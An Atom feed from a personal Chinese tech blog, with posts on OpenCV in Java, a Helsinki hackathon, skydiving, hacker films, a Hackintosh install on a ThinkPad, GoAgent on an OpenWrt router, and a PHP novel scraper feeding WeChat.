<p>public class Main<br>{<br>    public static void main( String[] args )<br>    {<br>        System.loadLibrary( Core.NATIVE_LIBRARY_NAME );<br>        Mat mat = Mat.eye( 3, 3, CvType.CV_8UC1 );<br>        System.out.println( “mat = “ + mat.dump() );<br>    }<br>}<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/8e198c39-c730-4193-9d0c-2e3abda38bd9.png" alt=""></p>
<h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ol>
<li><a href="http://docs.opencv.org/2.4/doc/tutorials/introduction/java_eclipse/java_eclipse.html#java-eclipse" target="_blank" rel="external">http://docs.opencv.org/2.4/doc/tutorials/introduction/java_eclipse/java_eclipse.html#java-eclipse</a></li>
<li><a href="http://labusers.net/member/YoshitomoMatsubara/menu/blog.php?path=20150516.html" target="_blank" rel="external">http://labusers.net/member/YoshitomoMatsubara/menu/blog.php?path=20150516.html</a></li>
</ol>
]]></content>
    <summary type="html">
    <![CDATA[<h1 id="OpenCV3-0-IntelliJ-IDEA"><a href="#OpenCV3-0-IntelliJ-IDEA" class="headerlink" title="OpenCV3.0 + IntelliJ IDEA"></a>OpenCV3.0 + IntelliJ IDEA</h1><p>装备装VistualStudio2015的，但是被他搞疯掉了。装在系统盘以外但是还是花掉了我20G的系统盘，然后撑爆了C盘，终止安装。 之后删除了一些东西，卸载重装，装不上了。遂重装系统，改用Java版。</p>
<p>官方提供了一个Eclipse的环境设置文档，但是并不打算用Eclipse。使用的是 Intellij IDEA.</p>]]>
    
    </summary>
    
      <category term="OpenCV" scheme="http://doubles.me/tags/OpenCV/"/>
    
      <category term="Code" scheme="http://doubles.me/categories/Code/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Diary 2016/01/18]]></title>
    <link href="http://doubles.me/2015/11/18/160118/"/>
    <id>http://doubles.me/2015/11/18/160118/</id>
    <published>2015-11-17T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>准备开始做AR.Drone 的项目了，今天来试飞一下。<br>AR.Drone 的翻转好cool。可惜高度不够，会撞地。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-829261f187ee80aa.jpg-body" alt=""></p>
<a id="more"></a>
<p>[试飞]</p>
<embed src="http://player.youku.com/player.php/sid/XMTQ1NTgyMjEyMA==/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash"><br>[第一视角]<br><embed src="http://player.youku.com/player.php/sid/XMTQ1NTgxODgyOA==/v.swf" allowfullscreen="true" quality="high" width="480" height="400" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">

]]></content>
    <summary type="html">
    <![CDATA[<p>准备开始做AR.Drone 的项目了，今天来试飞一下。<br>AR.Drone 的翻转好cool。可惜高度不够，会撞地。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-829261f187ee80aa.jpg-body" alt=""></p>]]>
    
    </summary>
    
      <category term="diary" scheme="http://doubles.me/tags/diary/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Diary 2015/11/18]]></title>
    <link href="http://doubles.me/2015/11/18/151118/"/>
    <id>http://doubles.me/2015/11/18/151118/</id>
    <published>2015-11-17T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天在学校免费拿到一个HP的交换机<br>简单清洁了一下，这个可以用来干什么呢？</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/IMG_0376.JPG-body" alt="switch"><br><a id="more"></a></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/IMG_0378.JPG-body" alt="raspi berry"></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>今天在学校免费拿到一个HP的交换机<br>简单清洁了一下，这个可以用来干什么呢？</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/IMG_0376.JPG-body" alt="switch"><br>]]>
    
    </summary>
    
      <category term="diary" scheme="http://doubles.me/tags/diary/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Slush 的前奏-Junction: 北欧最大Hackton]]></title>
    <link href="http://doubles.me/2015/11/10/151110/"/>
    <id>http://doubles.me/2015/11/10/151110/</id>
    <published>2015-11-09T22:00:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><em>Slush</em> is the focal point for European and Asian startups and tech talent to meet with top-tier international investors, executives and media.<br>2015年10月13日，芬兰顶尖创新创业机构Slush在中关村软件园主办了“SlushChina2015”。今年的Slush将于11月11日-12日，与赫尔辛基举办。而在此之前，有一个相对小型的Hackthon活动— Junction.</p>
<p>Junction 2015 与11月7-8号 在Helsinki举行。参与者超过500人，赞助商也都是是财大气粗的 Uber,Airbnb,OP 等公司。第一名将被选取以初创企业的身份参加Slush，其他的奖励也都是5000€的upcloud, Raspiberry，Apple TV, IBM实验室之旅等。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-812dec44bc984231.jpg-body" alt=""></p>
<a id="more"></a>
<p>Junction 整个活动是费用全包的，24小时的食物，无限量的”红牛”,临时休息的公寓，来回的大巴，甚至包括海外的往返机票。路上看到这座，额。。。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-a28238f44e19b3aa.jpg-body" alt=""></p>
<p>这里就是Junction的地点了，门口还停有一辆sauna bus，让人联想到擎天柱 cool.<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-6c9683f66161787b.jpg-body" alt=""></p>
<p>在门口领取掉牌，蹭吃蹭喝全靠这个了。背面是地图。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-49eb9642893840a0.JPG-body" alt=""></p>
<p>看到这个”红牛”会不会感觉好亲切，2天我起码喝了10罐。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-8fc6a5a25097c57f.jpg-body" alt=""></p>
<p>当然，无数的红牛也比不上芬兰妹子的一杯卡布奇诺。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-c5b2d566d1f9db81.jpg-body" alt=""></p>
<p>下面是正题，<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-5afbaa7866aa792e.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-97a86014ddf1ea81.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-7080e1e0441b7bca.jpg-body" alt=""></p>
<p>这边就是各种设备的摆摊了，3D 打印机，XBOX，Flic Button, 等<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-aa06c3cdfcf60b4b.jpg-body" alt=""></p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-652fe055cc1ce7d2.jpg-body" alt=""></p>
<p>这组人一个月前就开始准备了，他们的作品是通过蓝牙控制轮椅。虽然这些设备在北欧已经很常见了，但是还是应该向他们致敬。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-fe383a0cbca20a5e.jpg-body" alt=""></p>
<p>我拿到了一个 <a href="https://flic.io/" target="_blank" rel="external">Flic button</a>.<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-eb1521b6e453cb68.png-body" alt="flic-with-outline.png"><br>我的主意是做一个Login Button, 相应PassLess的Idea. 以后电脑上凡是需要登入的网站，我直接敲下这个按钮，chrome插件就会完成整个登入过程。Flic button 完全离线，所以无需担心密码泄露，保存好这个button就行了。 然而，我没法说服别人采用这个点子，别人也没法说服我不做这个。所以，一个人根本写不完。</p>
<p>另外一组用Flic 的是这样的，<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-db1c3e7d4a8a1f04.jpg-body" alt=""><br>按下flic，火箭就飞走了，然后上面有一个智能手机，你就可以通过上面的位置分享，把它给捡回来。</p>
<p>最后我撸了一堆东西回来，很多东西我都不好意思再拿了，也不好带，就没要。<br>可惜各种试用点券，基本都是100欧起送，我发觉的太晚了，各种没听过的服务，很多人都给丢掉了。<br>然后捡来了几张100欧的AWS。IBM和微软的比较坑，简直就是来刷存在感的，一张电影片,一个GoPro还得抽奖。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-8f45847a626fd927.JPG-body" alt=""><br>所有T-shirt 里比较好看的<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-a815c961361ad8e7.JPG-body" alt=""></p>
<p>不过还是想吐曹一下住宿，虽然知道hackthon能有床就不错，这次还给了房间。但是为了不和印度小哥睡一张床打地铺了，怎么还是会有非洲大叔来一起睡。</p>
<p>总结一下:</p>
<ol>
<li>活动最后评奖的时候发现，并不是每个人都有所谓的成品，很多人只不过有一个PPT，当然也有提早准备几个月的。但他们无论什么样的，对于自己的东西说的都是一身劲。我们没有成品的话，太心虚，连最终项目提交都放弃了。无论结果怎么样，都要自信。</li>
<li>他们如果有想法的话组队很苛刻，我说我3年开发经验，如果算全职的话是1年半，他们还担心我跟不上。因为不是公司里全职的工作，实习,兼职并不算。我就随意找了个说会ios和web的组队了。原来会Hello World 的也算会代码。所以活动开始后，这几个人只能去一日游了。我变成光杆司令了。提前准备很重要，最起码要有一个靠铺的团队，除非准备solu。当然现场也是可以找的，但是保不准哪个成员就放弃了。 也保不准哪个成员的水平就靠那张嘴。</li>
<li>不要和那些没有技术背景却又想着创业的点子浪费时间，真的。商业模式给你说完了，点子详情还舍不得给你说。好不容易掏出计划书，还是all in one的 paper prototype？如果不纠结的话应该叫做流程图。</li>
</ol>
<p>活动详情:<br><a href="https://www.facebook.com/groups/hackjunction2015" target="_blank" rel="external">FaceBook Group</a><br><a href="https://www.facebook.com/events/1460852820890313" target="_blank" rel="external">FaceBook Page</a><br>大赛主页：<br><a href="http://hackjunction.com" target="_blank" rel="external">Junction</a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><em>Slush</em> is the focal point for European and Asian startups and tech talent to meet with top-tier international investors, executives and media.<br>2015年10月13日，芬兰顶尖创新创业机构Slush在中关村软件园主办了“SlushChina2015”。今年的Slush将于11月11日-12日，与赫尔辛基举办。而在此之前，有一个相对小型的Hackthon活动— Junction.</p>
<p>Junction 2015 与11月7-8号 在Helsinki举行。参与者超过500人，赞助商也都是是财大气粗的 Uber,Airbnb,OP 等公司。第一名将被选取以初创企业的身份参加Slush，其他的奖励也都是5000€的upcloud, Raspiberry，Apple TV, IBM实验室之旅等。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2016/00/22964-812dec44bc984231.jpg-body" alt=""></p>]]>
    
    </summary>
    
      <category term="hackthon" scheme="http://doubles.me/tags/hackthon/"/>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[2个周末从入门到放弃 - 跳伞]]></title>
    <link href="http://doubles.me/2015/09/26/150926/"/>
    <id>http://doubles.me/2015/09/26/150926/</id>
    <published>2015-09-26T14:10:03.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>报名花了230欧，然后拿到了一个跳伞的眼镜，并且可以跳2次。<br>没有报Tandom的双人跳，就只能自己培训然后开始跳了。<br>据说有这项运动以来芬兰一共才死65个人，还是很安全的。</p>
<p>第一次跳只能从1000米左右开始跳，后面才能慢慢跳到3000米的高度。<br>而且前面4次必须是用拉钩自动开伞的，后面才能自己手动开伞。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/15092603.jpg" alt="15092603.jpg"></p>
<a id="more"></a>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/15092601.jpg" alt="15092601.jpg"><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/15092602.jpg" alt="15092602.jpg"></p>
<p>如果想要拿到证装逼的话需要跳30次左右。我手上有一个航空日志，会记录每次跳伞的评价。<br>然而我只跳了一次。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/IMG_20160627_042542.jpg" alt="IMG_20160627_042542.jpg"><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/IMG_20160627_042641.jpg" alt="IMG_20160627_042641.jpg"></p>
<embed src="http://player.youku.com/player.php/sid/XMTYyMTIwNjcxMg==/v.swf" allowfullscreen="true" quality="high" width="600" height="480" align="middle" allowscriptaccess="always" type="application/x-shockwave-flash">]]></content>
    <summary type="html">
    <![CDATA[<p>报名花了230欧，然后拿到了一个跳伞的眼镜，并且可以跳2次。<br>没有报Tandom的双人跳，就只能自己培训然后开始跳了。<br>据说有这项运动以来芬兰一共才死65个人，还是很安全的。</p>
<p>第一次跳只能从1000米左右开始跳，后面才能慢慢跳到3000米的高度。<br>而且前面4次必须是用拉钩自动开伞的，后面才能自己手动开伞。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/09/15092603.jpg" alt="15092603.jpg"></p>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[看看最近关于黑客的电影]]></title>
    <link href="http://doubles.me/2015/05/06/1075/"/>
    <id>http://doubles.me/2015/05/06/1075/</id>
    <published>2015-05-06T17:17:47.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>主要有这几部，持续更新。</p>
<h1 id="我是谁，没有安全的系统"><a href="#我是谁，没有安全的系统" class="headerlink" title="我是谁，没有安全的系统"></a>我是谁，没有安全的系统</h1><p>这部电影很值得一看，最后多重反转，而且黑客案例让人热血沸腾。虽然这些案例是俺们都yy过的。</p>
<p>社会工程才是最牛逼的。</p>
<a id="more"></a>
<h1 id="骇客交锋"><a href="#骇客交锋" class="headerlink" title="骇客交锋"></a>骇客交锋</h1><p>主演：汤唯，王力宏</p>
<p>内容大概就是：第二天汤唯从男人床上起来。。。。</p>
<p>汤唯从男人床上起来。。。。</p>
<p>王力宏看着这个妹妹从男人床上起来。。。</p>
<p>吐槽点：u盘的autorun.inf 可以在linux上运行？</p>
<h1 id="战狼"><a href="#战狼" class="headerlink" title="战狼"></a>战狼</h1><p>主演：吴京</p>
<p>看预告就知道没啥好看的，所以花20分钟看完了。</p>
<p>主要内容就是军演过程有几个煞笔雇佣兵打算无目的的弄死几个中国军人。仅仅是涉及到了一点。</p>
<p>吐槽点：一图流，<a href="http://7xnueu.com1.z0.glb.clouddn.com/2015/05/1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/05/11.png" alt="1"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>主要有这几部，持续更新。</p>
<h1 id="我是谁，没有安全的系统"><a href="#我是谁，没有安全的系统" class="headerlink" title="我是谁，没有安全的系统"></a>我是谁，没有安全的系统</h1><p>这部电影很值得一看，最后多重反转，而且黑客案例让人热血沸腾。虽然这些案例是俺们都yy过的。</p>
<p>社会工程才是最牛逼的。</p>]]>
    
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[再也不相信Google的翻译了]]></title>
    <link href="http://doubles.me/2015/01/06/1063/"/>
    <id>http://doubles.me/2015/01/06/1063/</id>
    <published>2015-01-06T01:46:00.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>一直感觉Google的翻译不如Bing,但是google的译者工具包是唯一提供文档翻译的。</p>
<p>然后看到了这个，累觉不爱。Google翻译再见。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/01/QQ20150106054342.png" alt=""></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>一直感觉Google的翻译不如Bing,但是google的译者工具包是唯一提供文档翻译的。</p>
<p>然后看到了这个，累觉不爱。Google翻译再见。<br><img src="http://7xnueu.com1.z0.glb.clouddn.com/2015/01/]]>
    </summary>
    
      <category term="Life" scheme="http://doubles.me/categories/Life/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Thinkpad E531 安装Mac 10.10]]></title>
    <link href="http://doubles.me/2014/12/30/1053/"/>
    <id>http://doubles.me/2014/12/30/1053/</id>
    <published>2014-12-30T00:47:29.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>因为想做IOS开发，这个笔记本又是刚买，所以必须安装黑苹果了。</p>
<p>花了一个星期下了几个镜像和尝试了几种安装方式，最后搞定了，虽然有很多BUG。</p>
<p><strong>1. 虚拟机</strong></p>
<a id="more"></a>
<p>可以下载安装镜像进行安装，但是更好的方法是下载安装好MAC 10.10的VMware镜像。</p>
<p>另外有种方式是用VirtualBox，有个环境部署的可以直接搜到很多镜像，名字忘记了。</p>
<p>性能实在太差，安装VMsvga2_v1.2.5_OS_10.9这个驱动后虽然可以用但是还是卡，可能与我不能开启3D加速有关。</p>
<p>2天后放弃。</p>
<p><strong>2.懒人版</strong></p>
<p>PCbeta上的安装方式，但是我感觉他们有特殊的目的似乎。可以很简单的过程非要搞的这么复杂。</p>
<p>过程是下载一个懒人版的镜像，后缀是cdr。将镜像写入一个硬盘分区，然后用变色龙引导启动，之后进行安装到另一个硬盘分区。为什么要这样？硬盘读写快吧，看起来是，但是特别麻烦。</p>
<p><strong>3.超级懒人版&amp;整合版</strong></p>
<p>pcbeta封掉的安装方式，但是却是最友好的方式。这里可以下载GHO镜像，<a href="http://ifunple.com/" target="_blank" rel="external">http://ifunple.com/</a>。如果它们安装成功了我会觉得是很厉害，但是它们似乎只能UEFI引导，而且官方论坛挂了，也没有教程。微博没有人回复。我尝试了其他方式引导，失败。然后下载了一个另外的镜像 <a href="http://hackintosh.zone/" target="_blank" rel="external">http://hackintosh.zone</a>，找到了番茄花园的感觉。</p>
<p><strong>安装方法</strong></p>
<p>1.下载</p>
<p>才3个包，最简单的了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/Yosemite-DMG-Torrent.zip" target="_blank" rel="external">Yosemite DMG Torrent</a>   <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/TransMac.zip" target="_blank" rel="external">TransMac</a>  <a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/E531.zip" target="_blank" rel="external">E531</a></p>
<p>2.用TransMac将Yosemite-Zone.dmg写入8gU盘。</p>
<p>然后u盘启动，进入安装就OK。安装的时候选择不需要网络连接，安装完毕重启一次就行，但是只限于网线。</p>
<p>3.驱动问题比较麻烦，我太懒了，而且很多东西也不用所以只驱动最简单的就行了。进入后唯一不能正常的就是声卡驱动，</p>
<p>在上方前往里面选择前往/根目录，将 “ E531完美驱动 ”文件夹下的Extra文件夹，拷到MAC OS X的根目录下。然后安装压缩包里面的VoodooHDA-v2.8.0.x64.ML.pkg安装一下，就可以驱动声卡了。</p>
<p>如果触摸板不能驱动的话把AppleACPIPS2Nub.kext这个文件删掉。</p>
<p>如果想全部安装的话可以看这里 <a href="http://bbs.pcbeta.com/viewthread-1534401-1-1.html" target="_blank" rel="external">http://bbs.pcbeta.com/viewthread-1534401-1-1.html</a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/Yosemite-DMG-Torrent.zip" target="_blank" rel="external">
</a></p>
<p>&nbsp;</p>
<p><strong>缺陷</strong></p>
<p><span style="color: #ff0000;">1.不能驱动无线网卡</span></p>
<p>2. 不能调节亮度，千万别按F5，F6，会花屏死机（使用esc+fn退出特殊功能可以按f5）</p>
<p>3.没有装蓝牙，读卡器，USB3.0等的驱动</p>
<p>4.电池电量不能显示</p>
<p>5.不能识别插入的显示器</p>
<p>6.尝试打lol，10分钟以后有爆显存的危险。</p>
<p>&nbsp;</p>
<p>就这样了，其他的要等我再使用过后才知道，慢慢编辑，力图完美。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/2.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/2.png" alt="2"></a></p>
<p><span style="color: #ff0000;">3月1日更新</span></p>
<p><span style="color: #000000;">花了数小时配置了mac osx的常用环境，下载了很多软件进行使用。还有一个bug就是不能修改默认视频软件，使用mplayerx不能最大化，不然就灰屏了。</span></p>
<p><strong><span style="color: #000000;">NTFS读写</span></strong></p>
<p><span style="color: #000000;">首先需要解决的是对ntfs的读写。安装一个叫做tuxera ntfs的软件，是ntfs-3g的更新版，可惜是收费的。pcbeta有2014版的注册码，虽然不是很鼓励，但是如果有其他像我这样一天3欧伙食费的人还是去远景把。</span></p>
<p><strong>快捷键</strong></p>
<p>最好能win用一样的配置。</p>
<p><strong>alfored2</strong></p>
<p><span style="color: #000000;"> </span></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>因为想做IOS开发，这个笔记本又是刚买，所以必须安装黑苹果了。</p>
<p>花了一个星期下了几个镜像和尝试了几种安装方式，最后搞定了，虽然有很多BUG。</p>
<p><strong>1. 虚拟机</strong></p>]]>
    
    </summary>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[如意云安装Goagent]]></title>
    <link href="http://doubles.me/2014/12/06/1043/"/>
    <id>http://doubles.me/2014/12/06/1043/</id>
    <published>2014-12-06T09:54:12.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>网上找了很久，并且都没有成功安装上Goagent，花了4个小时最后搞定。<br>如意云自带的地址过期了，404.<br>先在 系统-&gt;软件源-&gt;配置 中修改原本的网址为<br><a href="http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages" target="_blank" rel="external">http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ20141206123304.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ20141206123304.png" alt="QQ20141206123304"></a></p>
<a id="more"></a>
<p>然后ssh登入，192.168.99.1  帐号是root：54321<br>接着执行： opkg update<br>然后执行：opkg install libopenssl python pyopenssl python-openssl<br>执行这一句的时候会出错，提示找不到依赖。</p>
<p><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ20141206124135.png" alt="QQ20141206124135"></p>
<p>satisfy_dependencies_for: Cannot satisfy the following dependencies for python:</p>
<ul>
<li>libc <em> libc </em> libc <em> libc </em></li>
<li>opkg_install_cmd: Cannot install package python</li>
</ul>
<p>不要紧，直接找到它的地址，下载回来再安装。<br>wget <a href="http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages/libc_0.9.33.2-1_ralink.ipk" target="_blank" rel="external">http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages/libc_0.9.33.2-1_ralink.ipk</a><br>opkg install libc_0.9.33.2-1_ralink.ipk</p>
<p>然后会看到安装成功的图，这下查看一下安装了哪些包。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ201412061242591.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ201412061242591.png" alt="QQ20141206124259"></a></p>
<p>然后就是配置goagent，这个就不多说了。</p>
<p>注意0.0.0.0是监听所有地址，这样才能在局域网中生效。</p>
<p>然后是添加到启动项中，添加 python /root/goagent/proxy.py 到 /etc/rc.local 中就Ok。</p>
<p>也可以在路由配置Web的启动项中添加。</p>
<p>路径没有注册，所以用的/opt/usr/bin/python /root/goagent/proxy.py</p>
<p>下一步是安装Gevent，可以减少CPU的消耗，但是还没有成功。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>网上找了很久，并且都没有成功安装上Goagent，花了4个小时最后搞定。<br>如意云自带的地址过期了，404.<br>先在 系统-&gt;软件源-&gt;配置 中修改原本的网址为<br><a href="http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages">http://downloads.openwrt.org.cn/PandoraBox/ralink/mt7620/packages</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ20141206123304.png"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/12/QQ20141206123304.png" alt="QQ20141206123304"></a></p>]]>
    
    </summary>
    
      <category term="LinuX" scheme="http://doubles.me/categories/LinuX/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[博客待办事项]]></title>
    <link href="http://doubles.me/2014/11/17/1031/"/>
    <id>http://doubles.me/2014/11/17/1031/</id>
    <published>2014-11-17T18:39:34.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p><del>自动博客备份（数据库+文件）</del>- 七牛云+sae jobs</p>
<p><del>垃圾评论过滤，插件没用啊。</del>- 数据库批量删了，使用多说</p>
<p><del>评论者头像被墙了，wtf。</del>  - 修改主题，使用多说的头像服务</p>
<p><del>买域名。 </del><span style="color: #000000;">DoublesU.com</span></p>
<p><del>更新文章啊，混蛋。</del></p>
<p>代码格式化插件</p>
<p>文章内容的格式不好看</p>
<p>Markdown</p>
<p><del>后台不能生成图片缩略图 </del> 手动编辑吧，在线处理太慢，不如本地传小图</p>
]]></content>
    <summary type="html">
    <![CDATA[<p><del>自动博客备份（数据库+文件）</del>- 七牛云+sae jobs</p>
<p><del>垃圾评论过滤，插件没用啊。</del>- 数据库批量删了，使用多说</p>
<p><del>评论者头像被墙了，wtf。</del>  - 修改主题，使用多说的头像服务</]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[全自动小说订阅微信推送]]></title>
    <link href="http://doubles.me/2014/02/02/991/"/>
    <id>http://doubles.me/2014/02/02/991/</id>
    <published>2014-02-02T15:08:50.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>一直有看小说的习惯，其他的作者的不稳定更新让人很烦恼，而我一直是贴吧看的小说，很没节操么，但是穷屌丝就这个样子了。</p>
<p>然后决定自己利用微信写一个小说推送平台，就不用每次一个一个贴吧去切换了，当然用户只是我自己啦。</p>
<p>由于vps坑爹的跑路了，所以转回sae上跑博客，域名也就不绑定了，这个采集本来放openshift上，但是被墙了，好噶，继续sae。</p>
<p>我们的目标是：  全自动采集推送小说到微信 ，这里大概分3个部分</p>
<p>文章只写实现过程和注意要点，代码会放在最后的。</p>
<h2 id="1-自动小说采集"><a href="#1-自动小说采集" class="headerlink" title="1. 自动小说采集"></a>1. 自动小说采集</h2><p>首先选定一个小说网址，我找到一个，google的排名很靠前啊。唐家三少的绝世唐门，然后看源码，分别要匹配一下他的目录页和内容页。</p>
<p><a href="view-source:http://www.douluodalu.com.cn/jueshitangmen" target="_blank" rel="external">view-source:http://www.douluodalu.com.cn/jueshitangmen</a>   看了他的源码发现每次都抓这个页面很费流量，而且也不好排除其他的url是否为小说的更新，然后就从第一章开始采集，每次加载他的下一页。<br><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202175818.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202175818.png" alt="QQ20140202175818"></a></p>
<p>打开 第一章 的页面源码 <a href="view-source:http://www.douluodalu.com.cn/jueshitangmen/6860.html" target="_blank" rel="external">view-source:http://www.douluodalu.com.cn/jueshitangmen/6860.html</a>  很自然的找到需要采集的标签， 需要 标题，时间，内容，下一页。如果下一页为空就是到了更新的最后一章了。然后程序就从这个入口开始，采集这几个标签，一直到下一页为空就停止，下次再取最后一个文章地址作为开头继续采集。 先写个函数过滤掉重复，空白，html标签等。空白有空格，n个空格，空行，tab键，等等，所以过滤的正则找了好多，最后效果比较好。然后写正则匹配，取到这几个标签。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202180553.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140202180553.png" alt="QQ20140202180553"></a></p>
<p>然后定义一个数据表作为采集的中转存储</p>
<p>CREATE TABLE IF NOT EXISTS <code>articles</code> (<br><code>id</code> int(9) NOT NULL auto_increment,<br><code>title</code> varchar(500) NOT NULL,<br><code>time</code> datetime default NULL,<br><code>url</code> varchar(500) NOT NULL,<br><code>content</code> text NOT NULL,<br>UNIQUE KEY <code>id</code> (<code>id</code>)<br>) ENGINE=MyISAM DEFAULT CHARSET=utf8;</p>
<p>由于第一次任务比较多，所以可能需要多访问几次这个页面，<a href="http://iniu.sinaapp.com/app/caiji4sae.php" target="_blank" rel="external">http://iniu.sinaapp.com/app/caiji4sae.php</a></p>
<p>然后以后就可以使用cron任务，每天自动采集了。</p>
<p>sae上的定时任务是写一个config.yaml的文件，不是很明白，然后找到一个工具<a href="http://saetools.sinaapp.com/cron.html" target="_blank" rel="external">http://saetools.sinaapp.com/cron.html</a></p>
<p>OK，自动生成了如下的信息，由于唐家三少的小说每天晚上12点，早上7点，下午5点左右会更新，所以4个小说检查一次差不多，就看这个小说网站及时不及时了。</p>
<p>appname: iniu<br>version: 1<br>cron:</p>
<ul>
<li>description: 自动采集<br>url: app/caiji4sae.php<br>schedule: every 4 hours</li>
</ul>
<p><strong><a href="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140203010322.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2014/02/QQ20140203010322.png" alt="QQ20140203010322"></a></strong></p>
